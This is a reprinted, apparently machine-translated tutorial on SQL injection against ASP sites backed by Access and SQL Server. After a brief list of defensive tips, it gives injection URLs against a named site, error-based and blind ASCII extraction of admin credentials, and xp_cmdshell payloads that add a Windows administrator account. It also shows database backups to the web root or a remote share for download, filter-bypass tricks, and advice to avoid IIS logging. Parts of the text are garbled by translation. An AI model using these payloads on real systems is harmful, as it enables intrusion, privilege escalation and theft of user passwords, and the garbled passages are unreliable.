This is an article reprintedArticleBut I have actually operated on all the content and added some personal operations and opinions. After learning, I found that some of my previous web sites do have a lot of problems, so I wrote them in a notebook to facilitate future viewing at any time.
Let's talk about defense first. My personal experience is as follows:
1. InProgramAnd SP do not use any concatenated SQL, even if the dynamic statement is not available, you must ensure that the input parameters are not input from the page.
2. The error information on the Web page is strictly forbidden to be disclosed to the client (Unified conversion to the specified error page)
3. The database connection statement in Web. config must be encrypted. The connection user name cannot use SA.
4. sqldatabase limits the permissions of non-administrator users as much as possible, especially mongoshell.
5. The values entered on all pages must be passed to SQL in the form of parameters. splicing is prohibited.
Next let's take a look at SQL injection.
Section 1. Principles of SQL Injection
We start with a website www.19cn.com (note: the website owner has obtained the consent before this article is published, and most of the data is real data ).
On the home page of the website, named "ie cannot open new window of a variety of solutions" link, address: http://www.19cn.com/showdetail.asp? Id = 49. we add a single quotation mark (') after this address. The server will return the following error message:
Microsoft Jet Database Engine error '80040e14'
The syntax error of the string is in the query expression 'id = 49.
/Showdetail. asp, row 8
We can see the following points from the error prompt:
1. The website uses an Access database and connects to the database through the jet engine, instead of using ODBC.
2. The program does not determine whether the data submitted by the client meets the program requirements.
3. The table queried by this SQL statement has a field named ID.
From the above example, we can know that the principle of SQL injection is to submit a specialCodeTo collect information about programs and servers, so as to obtain the information you think.
Section 2: Determine whether SQL injection can be performed
After reading the first section, some people will think: I also often test whether it can be injected. Isn't it very easy? In fact, this is not the best method. Why?
First of all, not necessarily the IIS of each server returns a specific error message to the client. If statements such as CINT (parameter) are added to the program, SQL injection will not succeed, but the server also reports an error. The specific prompt is that an error occurs on the server when processing the URL. Contact the system administrator.
Second, some programmers who have a little knowledge about SQL Injection think that it is safe to filter out single quotes. This is not a minority case. If you use single quotes for testing, the injection points cannot be tested.
So what test method is more accurate? The answer is as follows:
① Http://www.19cn.com/showdetail.asp? Id = 49
② Http://www.19cn.com/showdetail.asp? Id = 49 and 1 = 1
3 http://www.19cn.com/showdetail.asp? Id = 49 and 1 = 2
This is the classic 1 = 1, 1 = 2 test method. How can this problem be determined? You can see the results returned from the above three urls:
Injection performance:
① Normal display (this is inevitable, or the program is wrong)
② Normally displayed, the content is basically the same as ①
③ Prompt BOF or EOF (when the program does not make any judgment), or prompt that the record cannot be found (RS is determined. EOF), or the display content is null (the program adds on error resume next)
If it cannot be injected, it is easier to judge. ① It is displayed normally. ② and ③ There are generally Program-defined error prompts or error prompts during type conversion.
Of course, this is only the judgment method used when the input parameters are numeric. in actual application, there will be between numeric and search parameters, I will analyze the SQL Injection general steps in the intermediate section.
Section 3. Database types and injection methods
Different database functions and injection methods are different. Therefore, before injection, we need to determine the database type. Generally, access and sqlserver are the most commonly used databases in ASP. More than 99% of websites on the Internet are among them.
How can a program tell you what database it uses? Let's take a look:
Sqlserver has some system variables. If IIS on the server prompts that it is not closed and SQL server returns an error message, you can directly obtain the error information as follows:
Http://www.19cn.com/showdetail.asp? Id = 49 and user> 0
This statement is very simple, but contains the essence of the SQL Server injection method. I also found this efficient method in an unintentional test. Let me take a look at its meaning: first, the preceding statement is normal, with emphasis on and user> 0. We know that user is a built-in variable of sqlserver, the value is the username of the current connection and the type is nvarchar. Compare the nvarchar value with the int value 0. The system will first try to convert the nvarchar value to the int type. Of course, the conversion process will definitely fail. The sqlserver error prompt is: A syntax error occurs when converting the nvarchar value "ABC" to an int column. The value of ABC is the value of the variable user. In this way, the user name of the database is obtained without any effort. In the future, we will see many statements using this method.
By the way, as we all know, the sqlserver user SA is a role equivalent to the adminstrators permission. With the SA permission, you can almost certainly get the administrator of the host. The above method can be used to easily test whether to log on with SA. Note that, if it is a log on with SA, an error occurs when "DBO" is converted to an int column, instead of "sa ".
If IIS on the server does not allow an error message to be returned, how can we determine the database type? We can start with the difference between access and sqlserver. Access and sqlserver both have their own system tables, such as tables that store all objects in the database. Access is in the system table [msysobjects, however, when reading the table in the web environment, the system prompts "no permission". sqlserver is in the table [sysobjects] and can be read normally in the Web environment.
Use the following statement to confirm that the injection can be performed:
Http://www.19cn.com/showdetail.asp? Id = 49 and (select count (*) from sysobjects)> 0
Http://www.19cn.com/showdetail.asp? Id = 49 and (select count (*) from msysobjects)> 0
If the database is sqlserver, then the first web site page with the original page http://www.19cn.com/showdetail.asp? Id = 49 is roughly the same. However, because the second website cannot find the table msysobjects, an error is prompted. Even if the program is fault tolerant, the page is completely different from the original page.
If the database uses access, the situation is different. The page of the first website is completely different from the original page. The second website is determined by whether the database allows reading the system table, generally, this is not allowed, so it is completely different from the original website. In most cases, the database type used by the system can be known through the first web site. The second web site is used only for verification when the IIS error prompt is enabled.
Section 4 General steps of SQL Injection
There is too much nonsense on the Internet, so I will simply say that the field name and table name are used:
1. You can query the system table, use ASCII to calculate each character, and finally spell out the table name.
2. Check the source code and Control name. Programmers generally like to get the control name and field name in the table to facilitate maintenance.
The following describes one of the most common methods-ASCII verbatim decoding. Although this method is slow, it is certainly a feasible method. (It's not too slow to implement with a program !)
For example, we know that the username field exists in the admin table. First, we take the first record and test the length:
Http://www.19cn.com/showdetail.asp? Id = 49 and (select top 1 Len (username) from Admin)> 0
First, describe the principle: if the length of top 1's username is greater than 0, then the condition is true; then, the test goes on like> 1,> 2,> 3 until the condition is not true, for example, if 7 is true or 8 is not true, It means Len (username) = 8.
Of course, no one will be stupid from 0, 1, 2, 3 tests one by one, so how can we get started quickly. After obtaining the length of username, use mid (username, N, 1) to intercept the nth character, and then ASC (mid (username, N, 1) to obtain the ASCII code, for example:
Id = 49 and (select top 1 ASC (mid (username, 1, 1) from Admin)> 0
The ASCII code of 1st characters is also obtained by gradually narrowing down the range. Note that the ASCII code of English and numbers is between 1-, and can be accelerated by the binary method, if the program is written for testing, the efficiency will be greatly improved.
Section 5 common SQL Injection Functions
Those who have basic SQL language have a much higher success rate than those who are not familiar with SQL injection. We need to improve our SQL level, especially some common functions and commands.
Access: ASC (character) sqlserver: Unicode (character)
Purpose: return the ASCII code of a character.
Access: CHR (number) sqlserver: nchar (number)
Function: opposite to ASC, returns Characters Based on the ASCII code.
Access: Mid (string, n, l) sqlserver: substring (string, N, L)
Purpose: return the substring of the string that starts from n characters and ranges from N to N + L.
Access: ABC (number) sqlserver: ABC (number)
Purpose: return the absolute value of a number (used to guess Chinese characters)
Access: A between B and C sqlserver: A between B and C
Purpose: Determine whether a is between B and C.
Section 6. Chinese Processing Methods
It is common to encounter Chinese characters during injection. Some people may want to retreat when they encounter Chinese characters. In fact, as long as you have some knowledge about Chinese encoding, "Chinese phobias" can be quickly overcome.
First, let's talk about common sense:
In access, the Chinese ASCII code may have a negative number. After this negative number is obtained, use ABS () to obtain the absolute value. The Chinese characters remain unchanged.
In sqlserver, Chinese ASCII is a positive number, but because it is a unicode dual-bit encoding, the function ASCII () cannot be used to obtain the ASCII code, the function Unicode () must be used to return the Unicode value, use the nchar function to obtain the corresponding Chinese characters.
Section 7: inject SQL Server databases using system tables (this section can be omitted, but some friends may be unfamiliar with these statements, so they are also listed)
Sqlserver is a powerful database system that is closely related to the operating system, which brings great convenience to developers. On the other hand, it also provides a stepping stone for injecting users, let's take a look at several specific examples:
① Http: // site/url. asp? Id = 1; Exec master .. xp_cmdshell "net user name password/Add "--
Semicolons (;); In sqlserver, separate the first and second statements, which indicate that the subsequent statements are comments. Therefore, this statement is divided into two statements for execution in sqlserver, first select the record with ID = 1, and then execute the Stored Procedure xp_mongoshell. This stored procedure is used to call system commands. Therefore, run the "Net" command to create a Windows account with the username and password, and then:
② Http: // site/url. asp? Id = 1; Exec master .. xp_cmdshell "net localgroup name administrators/Add "--
Add the new account name to the Administrator Group. It does not take two minutes. You have obtained the highest system permission! Of course, this method only applies when using SA to connect to the database. Otherwise, you do not have the permission to call xp_mongoshell.
③ Http: // site/url. asp? Id = 1; and db_name ()> 0
In the preceding example, and user> 0 is used to obtain the connection username. db_name () is another system variable and returns the name of the connected database.
④ Http: // site/url. asp? Id = 1; backup database name to disk = 'C:/inetpub/wwwroot/1. db ';--
This is a tough trick. Back up the database name obtained from ③ and the absolute path exposed by some IIS errors to the web directory, use http to download the entire database. All administrators and user passwords are displayed at a glance! When you do not know the absolute path, you can also back up the network address (such as // 202.96.xx.xx/share/1.db), but the success rate is not high.
⑤ Http: // site/url. asp? Id = 1; and (select top 1 name from sysobjects where xtype = 'U' and status> 0)> 0
As mentioned above, sysobjects is a system table of sqlserver. It stores all table names, views, constraints, and other objects. xtype = 'U' and status> 0, indicates the name of the table created by the user. The preceding statement extracts the first table name and compares it with 0 to expose the table name with an error message. 2. How can I obtain the name of the third table? Let's leave it to our smart readers.
⑥ Http: // site/url. asp? Id = 1; and (select top 1 col_name (object_id ('table name'), 1) from sysobjects)> 0
After obtaining the table name from ⑤, use object_id ('table name') to obtain the internal ID corresponding to the table name. col_name (table name ID, 1) represents the 1st field names of the table, replace 1 with 2, 3, 4... you can obtain the field names in the table to be guessed one by one.
The above six points are the painstaking efforts I have studied sqlserver for more than half a year. We can see that the degree of understanding of sqlserver directly affects the success rate and the speed of guessing. After studying sqlserver injection, my development level has also been greatly improved. Haha, maybe security and development are complementary.
Section 7. Bypass program restrictions and continue Injection
As mentioned in the entry-level article, many users prefer to use the 'number test to inject vulnerabilities. Therefore, many users use the' number filtering method to "Prevent" injection vulnerabilities, this may block some hacker attacks, but those familiar with SQL injection can still use related functions to bypass program restrictions.
In the "general steps of SQL injection" section, all the statements I use are optimized by me so that they do not contain single quotes; in "injecting SQL Server database with system tables", some statements contain the "Number". Let's take an example to see how to modify these statements:
A simple example is where xtype = 'u'. the ASCII code of the character U is 85, so you can replace it with where xtype = char (85). If the character is Chinese, for example, where name = 'user' can be replaced by where name = nchar (29992) + nchar (25143.
Section 8 Experience Summary
1. Some people will filter keywords such as select, update, and delete, but they forget to be case sensitive. So you can try using select. (How can SQL only have these keywords? injection is supported. Others can use dynamic statements. How can you filter them ?)
2. If you cannot guess the field name, you can view the logon form on the website. Generally, for convenience, the field names are the same as those in the form input box.
3. Note: The + number in the address bar is interpreted as a space, % 2B is interpreted as a + number, and % 25 is interpreted as a % number. For details, refer to the introduction of urlencode.
4. When the get method is used for injection, IIS will record all your submission strings and will not record the POST method. Therefore, try not to use get for post URLs.
5. you can only use the ASCII literal decoding method to guess access. sqlserver can also use this method. You only need the difference between the two methods. However, if you can use the sqlserver error information to expose the value, the efficiency and accuracy will be greatly improved.
That's all. I don't know if there are any talented people to improve it?